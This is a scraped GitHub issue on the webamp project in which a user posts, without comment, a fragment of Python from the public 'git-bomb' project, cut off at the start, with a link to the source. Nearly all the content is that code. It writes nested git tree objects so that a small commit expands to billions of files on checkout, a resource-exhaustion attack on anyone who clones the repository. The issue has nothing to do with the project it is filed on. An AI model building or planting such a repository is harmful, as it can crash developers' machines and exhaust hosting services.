webamp icon indicating copy to clipboard operation
webamp copied to clipboard

Including link: https://github.com/

Open Chief1934 opened this issue 1 year ago • 0 comments

"ash''' command = ['git', 'commit-tree', '-m', commit_message, tree_hash] return subprocess.check_output(command).strip()

def create_tree(dirs, perm): body = b'' for a_dir in sorted(dirs, key=lambda x: x[0]): body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii') + b'\x00' + binascii.unhexlify(a_dir[1]) return body

def create_blob(body=''): return bytearray(body, 'ascii')

if name == 'main': depth = 10 # how many layers deep width = 10 # how many files or folders per depth level blob_body = 'one laugh' # content of blob at bottom

# create base blob
blob_hash = write_git_object(create_blob(body=blob_body), type='blob')

# write tree object containing many files
dirs = [('f' + str(i), blob_hash) for i in range(width)]
tree_hash = write_git_object(create_tree(dirs, '100644'), type='tree')

# make layers of tree objects using the previous tree object
for i in range(depth - 1):
    other_dirs = [('d' + str(i), tree_hash) for i in range(width)]
    tree_hash = write_git_object(create_tree(other_dirs, '40000'), type='tree')

commit_hash = write_git_commit(tree_hash)

# update master ref
open('.git/refs/heads/master', 'wb').write(commit_hash)"

https://github.com/Katee/git-bomb#:~:text=hash%27%27%27%0A%20%20%20%20command,(commit_hash)

Chief1934 avatar Oct 20 '24 10:10 Chief1934